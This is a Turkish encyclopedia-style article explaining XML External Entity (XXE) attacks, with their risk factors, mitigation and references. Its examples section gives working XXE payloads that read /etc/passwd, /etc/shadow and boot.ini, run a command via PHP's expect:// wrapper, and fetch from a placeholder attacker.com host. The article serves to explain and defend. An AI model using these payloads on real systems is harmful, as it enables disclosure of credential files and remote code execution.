**XML Harici Varlık** saldırısı, XML girdilerini ayrıştıran bir uygulamaya karşı yapılan bir saldırı türüdür. Bu saldırı, harici bir varlığa referans içeren XML girdisi eksik yapılandırılmış bir XML ayrıştırıcısı ile işlendiğinde gerçekleşir. Bu saldırı gizli verilerin ifşasına, hizmet dışı bırakmaya, sunucu taraflı istek sahteciliğine, ayrıştırıcının bulunduğu makine tarafında port taramaya ve başka sistem etkilerine yol açabilir.

Açıklama
--------

XML 1.0 standardı bir XML belgesinin yapısını tanımlar. Standart, bir tür depolama birimi olan ve varlık olarak adlandırılan bir kavramı tanımlar. Beyan edilmiş bir sistem tanımlayıcısı ile yerel veya uzak içeriğe erişebilen birkaç farklı varlık tipi vardır. Harici genel/parametre ayrıştırılmış varlık sıklıkla harici varlığa kısaltılır. Sistem tanımlayıcısı varlık işlenirken XML işlemcisi tarafından erişilebilen bir URI olduğu varsayılır. XML işlemcisi sonra sistem tanımlayıcısı tarafından erişilen içeriklerin harici varlık oluşumlarının yerini almasını sağlar. Sistem tanımlayıcısı bozulmuş veri içeriyorsa ve XML işlemcisi bu bozulmuş veriye erişirse, XML işlemcisi uygulama tarafından normalde erişilemeyen gizli bilgileri ifşa edebilir. Harici DTD’lerin , harici biçem tablolarının, harici şemaların vb. kullanımında benzer şekilde harici kaynağa ekleme türü saldırılarına izin veriliyorsa ve dahil edildiklerinde benzer atak vektörleri uygulanır.

Saldırılar, sistem tanımlayıcısındaki göreceli dizinler veya dosya şemaları kullanılarak parola ya da özel kullanıcı verileri gibi hassas veriler içerebilecek yerel dosyaları ifşa etmeyi içerebilir. XML belgesini işleyen uygulamaya ilişkin atak meydana geldiğinde, saldırgan bu güvenilir uygulamadan başka iç sistemlere geçmek ve muhtemelen başka iç sistem bileşenlerini http(s) istekleri üzerinden ifşa etmek veya korumasız herhangi bir iç servise bir CSRF saldırısı başlatmak için kullanabilir. Bazı durumlarda, istemci taraflı bellek bozulması sorunlarına zafiyeti bulunan bir XML işlemci kütüphanesi, zararlı bir URI ’ye erişerek ve muhtemelen uygulama hesabı altında rastgele kod çalıştırılmasına izin vererek sömürülebilir. Diğer saldırılar veri döndürmeyi durduramayan yerel kaynaklara erişebilir ve çok fazla iş parçacığı veya işlem başlatılmazsa uygulamanın erişilebilirliğini etkileyebilir.

Uygulamanın, bilgi ifşasına zafiyetinin bulunması için saldırgana cevabı açıkça döndürmesine gerek yoktur. Saldırgan alt etki alanı adları aracılığıyla denetimleri altındaki bir DNS sunucusuna veri aktarmak için DNS bilgisinden istifade edebilir.

Risk faktörleri
---------------

* Uygulama XML belgelerini ayrıştırır.
* Bozuk verilere, varlığın sistem tanımlayıcı bölümünde belge türü tanımı (DTD) dahilinde izin verilir.
* XML işlemci DTD'yi doğrulayacak ve işleyecek şekilde yapılandırılmıştır.
* XML işlemci DTD dahilinde harici varlıkları çözmek için yapılandırılmıştır.

Örnekler
--------

Aşağıdaki örnekler *XML Enjeksiyonu Testi'nden (OWASP-DV-008) alınmıştır* .

### Geri dönmeyebilir yerel bir kaynağa erişme

```
 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [ 
 <!ELEMENT foo ANY >
 <!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>

```

### Uzaktan kod çalıştırma

PHP "expect" modülü yüklendiğinde değiştirilmiş bir veri yükü (payload) ile uzaktan kod çalıştırılması mümkün olabilir. 

```
 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [ <!ELEMENT foo ANY >
 <!ENTITY xxe SYSTEM "expect://id" >]>
 <creds>
 <user>&xxe;</user>
 <pass>mypass</pass>
 </creds>

```

### /etc/passwd veya diğer hedeflenen dosyaların ifşası

```
 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [ 
 <!ELEMENT foo ANY >
 <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
 
 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [ 
 <!ELEMENT foo ANY >
 <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>
 
 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [ 
 <!ELEMENT foo ANY >
 <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
 
 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [ 
 <!ELEMENT foo ANY >
 <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>

```

Hafifletme
----------

Tüm XML belgesi güvenilmeyen bir istemciden iletildiğinden, DTD'deki sistem tanımlayıcısında bozulmuş verileri seçip doğrulamak veya elemine etmek genellikle mümkün değildir. Bu sebeple, XML işlemcisi yerel sabit bir DTD kullanacak şekilde yapılandırılmalı ve XML dokümanına dahil edilen beyan edilmiş herhangi bir DTD’ye izin vermemelidir.

Ayrıca bakınız
--------------

* SQL enjeksiyonu
* Kör SQL enjeksiyonu

Kaynakça
--------

1. ↑  "What Are XML External Entity (XXE) Attacks". *Acunetix*. 15 Ekim 2014 tarihinde kaynağından arşivlendi. Erişim tarihi: 26 Mart 2020.
2. ↑  "Arşivlenmiş kopya" (PDF). 20 Şubat 2020 tarihinde kaynağından arşivlendi (PDF). Erişim tarihi: 26 Mart 2020.

Dış bağlantılar
---------------

* OWASP XML External Entity (XXE) Prevention Cheat Sheet 8 Nisan 2020 tarihinde Wayback Machine sitesinde arşivlendi.
* Timothy Morgan's 2014 Paper: XML Schema, DTD, and Entity Attacks - A Compendium of Known Techniques 20 Eylül 2020 tarihinde Wayback Machine sitesinde arşivlendi.
* Precursor presentation of above paper - at OWASP AppSec USA 2013 20 Eylül 2020 tarihinde Wayback Machine sitesinde arşivlendi.
* CWE-611: Information Exposure Through XML External Entity Reference 30 Mart 2020 tarihinde Wayback Machine sitesinde arşivlendi.
* CWE-827: Improper Control of Document Type Definition 26 Şubat 2020 tarihinde Wayback Machine sitesinde arşivlendi.
* Sascha Herzog's Presentation on XML External Entity Attacks - at OWASP AppSec Germany 2010 9 Nisan 2016 tarihinde Wayback Machine sitesinde arşivlendi.
* PostgreSQL XXE vulnerability 12 Mart 2020 tarihinde Wayback Machine sitesinde arşivlendi.
* SharePoint and DotNetNuke XXE Vulnerabilities, in French 25 Eylül 2017 tarihinde Wayback Machine sitesinde arşivlendi.
* XML Denial of Service Attacks and Defenses (in .NET) 19 Eylül 2019 tarihinde Wayback Machine sitesinde arşivlendi.
* Early (2002) BugTraq Article on XXE 2 Eylül 2019 tarihinde Wayback Machine sitesinde arşivlendi.
* XML 1.0 Extensible Markup Language (XML) 1.0 (Fifth Edition) 22 Mart 2020 tarihinde Wayback Machine sitesinde arşivlendi.